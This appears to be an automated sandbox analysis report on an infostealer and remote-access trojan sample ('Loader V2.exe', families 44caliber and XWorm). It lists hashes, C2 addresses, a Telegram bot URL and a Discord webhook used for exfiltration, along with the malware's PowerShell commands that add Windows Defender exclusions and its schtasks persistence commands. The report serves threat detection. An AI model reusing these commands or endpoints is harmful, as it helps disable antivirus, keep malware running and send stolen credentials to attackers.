44caliber | 14430e71914c83f8d1de8e66caa39d07ab782efb662245fb9eff6aa9fca7ce87

Analysis

max time kernel
145s
max time network
148s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
03-08-2024 19:25

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General

Target

Loader V2.exe
Size

8.1MB
MD5

70a8a700260d1bf5d40214b4d16f2a4d
SHA1

888afda0f542f857c3627845abb17320c79348a3
SHA256

14430e71914c83f8d1de8e66caa39d07ab782efb662245fb9eff6aa9fca7ce87
SHA512

8d139e071d25106a30b3b00350fe08558bdaf884d039492611d90afd30c11ff08643560dc75ffaf7dafc0c53a96cf2b446239faf2fd8df9d0895d25b746d5d83
SSDEEP

196608:X7fP69w9dHnln76gtmUd74JVCbkQqeDDFloLRj/UVn5HIL6qG:Nvnln7RmUuJVuk0DDFWJCnVGs

Score

10^/10

44caliber xworm credential_access execution persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

147.185.221.20:13908

147.185.221.16:60401

Attributes

Install_directory
%AppData%
install_file
svhost.exe
telegram
https://api.telegram.org/bot7220907212:AAEOc5N7cpqGUVVvnWrzGHm8mdOrYN2e9mc/sendMessage?chat_id=6987872630

Extracted

Family

44caliber

https://discord.com/api/webhooks/1267250103538810911/_8BMipnmgDV4n-Uu_YmzeHrxrFFQPSAoBBDlwlDVhsDsk_31uQMADxZw-pq563wCO5KV

Signatures

44Caliber
An open source infostealer written in C#.
stealer 44caliber

Detect Xworm Payload 9 IoCs

resource	yara_rule
behavioral2/memory/2660-12-0x0000000000350000-0x0000000000392000-memory.dmp	family_xworm
behavioral2/files/0x0008000000015bd7-18.dat	family_xworm
behavioral2/files/0x0009000000015b50-11.dat	family_xworm
behavioral2/memory/2468-22-0x00000000008C0000-0x00000000008D6000-memory.dmp	family_xworm
behavioral2/memory/2360-129-0x0000000000930000-0x0000000000972000-memory.dmp	family_xworm
behavioral2/memory/1192-131-0x0000000000210000-0x0000000000226000-memory.dmp	family_xworm
behavioral2/memory/576-136-0x0000000000A20000-0x0000000000A36000-memory.dmp	family_xworm
behavioral2/memory/2848-137-0x0000000001070000-0x00000000010B2000-memory.dmp	family_xworm
behavioral2/memory/688-140-0x0000000000E40000-0x0000000000E56000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1932	powershell.exe
2108	powershell.exe
2428	powershell.exe
2092	powershell.exe

Drops startup file 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	loaderr.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.lnk	injectdll.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.lnk	injectdll.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	loaderr.exe

Executes dropped EXE 10 IoCs

pid	Process
3044	Loader.exe
2660	injectdll.exe
2468	loaderr.exe
2820	fixer.exe
2360	svhost.exe
1192	svchost.exe
576	svchost.exe
2848	svhost.exe
688	svchost.exe
2208	svhost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Windows\CurrentVersion\Run\svhost = "C:\\Users\\Admin\\AppData\\Roaming\\svhost.exe"	injectdll.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Local\\svchost.exe"	loaderr.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	freegeoip.app
6	freegeoip.app
10	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	fixer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	fixer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2204	schtasks.exe
2240	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2820	fixer.exe
2820	fixer.exe
2820	fixer.exe
2820	fixer.exe
1932	powershell.exe
2108	powershell.exe
2428	powershell.exe
2660	injectdll.exe
2092	powershell.exe
2468	loaderr.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	2660	injectdll.exe
Token: SeDebugPrivilege	2468	loaderr.exe
Token: SeDebugPrivilege	2820	fixer.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	2108	powershell.exe
Token: SeDebugPrivilege	2428	powershell.exe
Token: SeDebugPrivilege	2660	injectdll.exe
Token: SeDebugPrivilege	2092	powershell.exe
Token: SeDebugPrivilege	2468	loaderr.exe
Token: SeDebugPrivilege	2360	svhost.exe
Token: SeDebugPrivilege	1192	svchost.exe
Token: SeDebugPrivilege	576	svchost.exe
Token: SeDebugPrivilege	2848	svhost.exe
Token: SeDebugPrivilege	688	svchost.exe
Token: SeDebugPrivilege	2208	svhost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2660	injectdll.exe
2468	loaderr.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 3012 wrote to memory of 3044	3012	Loader V2.exe	30
PID 3012 wrote to memory of 3044	3012	Loader V2.exe	30
PID 3012 wrote to memory of 3044	3012	Loader V2.exe	30
PID 3012 wrote to memory of 2660	3012	Loader V2.exe	31
PID 3012 wrote to memory of 2660	3012	Loader V2.exe	31
PID 3012 wrote to memory of 2660	3012	Loader V2.exe	31
PID 3044 wrote to memory of 2468	3044	Loader.exe	32
PID 3044 wrote to memory of 2468	3044	Loader.exe	32
PID 3044 wrote to memory of 2468	3044	Loader.exe	32
PID 3044 wrote to memory of 2820	3044	Loader.exe	33
PID 3044 wrote to memory of 2820	3044	Loader.exe	33
PID 3044 wrote to memory of 2820	3044	Loader.exe	33
PID 2468 wrote to memory of 1932	2468	loaderr.exe	35
PID 2468 wrote to memory of 1932	2468	loaderr.exe	35
PID 2468 wrote to memory of 1932	2468	loaderr.exe	35
PID 2468 wrote to memory of 2108	2468	loaderr.exe	37
PID 2468 wrote to memory of 2108	2468	loaderr.exe	37
PID 2468 wrote to memory of 2108	2468	loaderr.exe	37
PID 2660 wrote to memory of 2204	2660	injectdll.exe	39
PID 2660 wrote to memory of 2204	2660	injectdll.exe	39
PID 2660 wrote to memory of 2204	2660	injectdll.exe	39
PID 2468 wrote to memory of 2428	2468	loaderr.exe	41
PID 2468 wrote to memory of 2428	2468	loaderr.exe	41
PID 2468 wrote to memory of 2428	2468	loaderr.exe	41
PID 2468 wrote to memory of 2092	2468	loaderr.exe	43
PID 2468 wrote to memory of 2092	2468	loaderr.exe	43
PID 2468 wrote to memory of 2092	2468	loaderr.exe	43
PID 2468 wrote to memory of 2240	2468	loaderr.exe	45
PID 2468 wrote to memory of 2240	2468	loaderr.exe	45
PID 2468 wrote to memory of 2240	2468	loaderr.exe	45
PID 2268 wrote to memory of 1192	2268	taskeng.exe	48
PID 2268 wrote to memory of 1192	2268	taskeng.exe	48
PID 2268 wrote to memory of 1192	2268	taskeng.exe	48
PID 2268 wrote to memory of 2360	2268	taskeng.exe	49
PID 2268 wrote to memory of 2360	2268	taskeng.exe	49
PID 2268 wrote to memory of 2360	2268	taskeng.exe	49
PID 2268 wrote to memory of 576	2268	taskeng.exe	50
PID 2268 wrote to memory of 576	2268	taskeng.exe	50
PID 2268 wrote to memory of 576	2268	taskeng.exe	50
PID 2268 wrote to memory of 2848	2268	taskeng.exe	51
PID 2268 wrote to memory of 2848	2268	taskeng.exe	51
PID 2268 wrote to memory of 2848	2268	taskeng.exe	51
PID 2268 wrote to memory of 688	2268	taskeng.exe	52
PID 2268 wrote to memory of 688	2268	taskeng.exe	52
PID 2268 wrote to memory of 688	2268	taskeng.exe	52
PID 2268 wrote to memory of 2208	2268	taskeng.exe	53
PID 2268 wrote to memory of 2208	2268	taskeng.exe	53
PID 2268 wrote to memory of 2208	2268	taskeng.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Loader V2.exe
"C:\Users\Admin\AppData\Local\Temp\Loader V2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3012
- C:\Users\Admin\AppData\Roaming\Loader.exe
  "C:\Users\Admin\AppData\Roaming\Loader.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Users\Admin\AppData\Local\Temp\loaderr.exe
    "C:\Users\Admin\AppData\Local\Temp\loaderr.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2468
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\loaderr.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'loaderr.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\svchost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2092
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Local\svchost.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2240
- - C:\Users\Admin\AppData\Local\Temp\fixer.exe
    "C:\Users\Admin\AppData\Local\Temp\fixer.exe"
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2820
- C:\Users\Admin\AppData\Roaming\injectdll.exe
  "C:\Users\Admin\AppData\Roaming\injectdll.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2204

C:\Windows\system32\taskeng.exe
taskeng.exe {1EADCC21-E79A-4510-B8A7-CCEDFAB3B066} S-1-5-21-2172136094-3310281978-782691160-1000:EXCFTDUU\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Users\Admin\AppData\Local\svchost.exe
  C:\Users\Admin\AppData\Local\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1192
- C:\Users\Admin\AppData\Roaming\svhost.exe
  C:\Users\Admin\AppData\Roaming\svhost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2360
- C:\Users\Admin\AppData\Local\svchost.exe
  C:\Users\Admin\AppData\Local\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:576
- C:\Users\Admin\AppData\Roaming\svhost.exe
  C:\Users\Admin\AppData\Roaming\svhost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2848
- C:\Users\Admin\AppData\Local\svchost.exe
  C:\Users\Admin\AppData\Local\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:688
- C:\Users\Admin\AppData\Roaming\svhost.exe
  C:\Users\Admin\AppData\Roaming\svhost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fixer.exe

Filesize
274KB

MD5
88505913c2c75f796c9a021aab2d356d

SHA1
5b5c06998d3e200c21c77ea4efaeaecdc7344e78

SHA256
62e414e990e80c8203955b0e32948ddc64903b80a462c339f1babfb03e641204

SHA512
6fa46be04c2693ea164fe52ddf3cca0bdafd1ab34d8c0f1c2bf3d361c6042f45375343f59e9474ded6718f8177a4f7eb19fddccd95f7fbb87aad12358b2d6905

Download Submit
C:\Users\Admin\AppData\Local\Temp\loaderr.exe

Filesize
65KB

MD5
95f8f28f5a8503461db6804cda9c4934

SHA1
81c0a30e498093d41948777135bbd407c7611cda

SHA256
aa40b9b929868482be1daae474d7c93426cd049f844c956865709ff8b7f240c2

SHA512
5c3460372a6640a98dd1b1d34a03b951ec4a8942e9065475e982a207881f290aedc3b51fe73c0da4c527e222addd1de2be7ba541e82287e43e16fc544ab34461

Download Submit
C:\Users\Admin\AppData\Roaming\Loader.exe

Filesize
7.6MB

MD5
aa16f3774491b600121545a5f194cefc

SHA1
c872fe765ecff1dada8378ad8a12cd5cf0425219

SHA256
c0a2b824a0fd05854818bfb81b02bc6178db3f8519807b15d844580099428e1d

SHA512
8b50e7c6eca25ecc2196fbfaf42079873e3c532a90e8d8b691fb594da3e067593f86f0d6488d0c314a27d78519f33fcbfb4532f811997891d55a47d582e1b3a8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c337e789d9c9e666bae4216233351526

SHA1
dd157288389755b1a3458362704b68145f2c732c

SHA256
c12eca010cf9081bb8d35f44d3e4bd2d39fa289ed75134e0bc788d50f5270b3d

SHA512
a1791dc8ff978e8c7fe08303bebf7836eceba35c8739297aa8b08758770d0ddcf4e51c0e0a4a3662989adcc7a1af06fd1a60c0ed6be0da2e87f6e3345bdf6ffd

Download Submit
C:\Users\Admin\AppData\Roaming\injectdll.exe

Filesize
244KB

MD5
74ffb0d60d647dd6ad8d00c1bee48011

SHA1
4c8a707a33b35b78f374c66d59f9c2314c20b25f

SHA256
b481f1e0cfe25e5f19da0a0333c78661bf5c75c0b1c616ff4aaaa07aed31efd1

SHA512
fc667f4560d6b19a9a4f37eb0e66c751eb348ffc0db69c7d0bd733dfd2df2dfdadc7b780cd93686350444cc14a54283bafe3afec611bcac3ad0239eda659f46c

Download Submit
memory/576-136-0x0000000000A20000-0x0000000000A36000-memory.dmp

Filesize
88KB

Download
memory/688-140-0x0000000000E40000-0x0000000000E56000-memory.dmp

Filesize
88KB

Download
memory/1192-131-0x0000000000210000-0x0000000000226000-memory.dmp

Filesize
88KB

Download
memory/1932-98-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/1932-97-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2108-105-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2108-106-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/2360-129-0x0000000000930000-0x0000000000972000-memory.dmp

Filesize
264KB

Download
memory/2468-22-0x00000000008C0000-0x00000000008D6000-memory.dmp

Filesize
88KB

Download
memory/2660-12-0x0000000000350000-0x0000000000392000-memory.dmp

Filesize
264KB

Download
memory/2820-29-0x00000000011F0000-0x000000000123A000-memory.dmp

Filesize
296KB

Download
memory/2848-137-0x0000000001070000-0x00000000010B2000-memory.dmp

Filesize
264KB

Download
memory/3012-0-0x000007FEF61A3000-0x000007FEF61A4000-memory.dmp

Filesize
4KB

Download
memory/3012-1-0x0000000000D70000-0x0000000001588000-memory.dmp

Filesize
8.1MB

Download
memory/3044-13-0x0000000000AC0000-0x0000000001254000-memory.dmp

Filesize
7.6MB

Download
memory/3044-15-0x000007FEF61A0000-0x000007FEF6B8C000-memory.dmp

Filesize
9.9MB

Download
memory/3044-45-0x000007FEF61A0000-0x000007FEF6B8C000-memory.dmp

Filesize
9.9MB

Download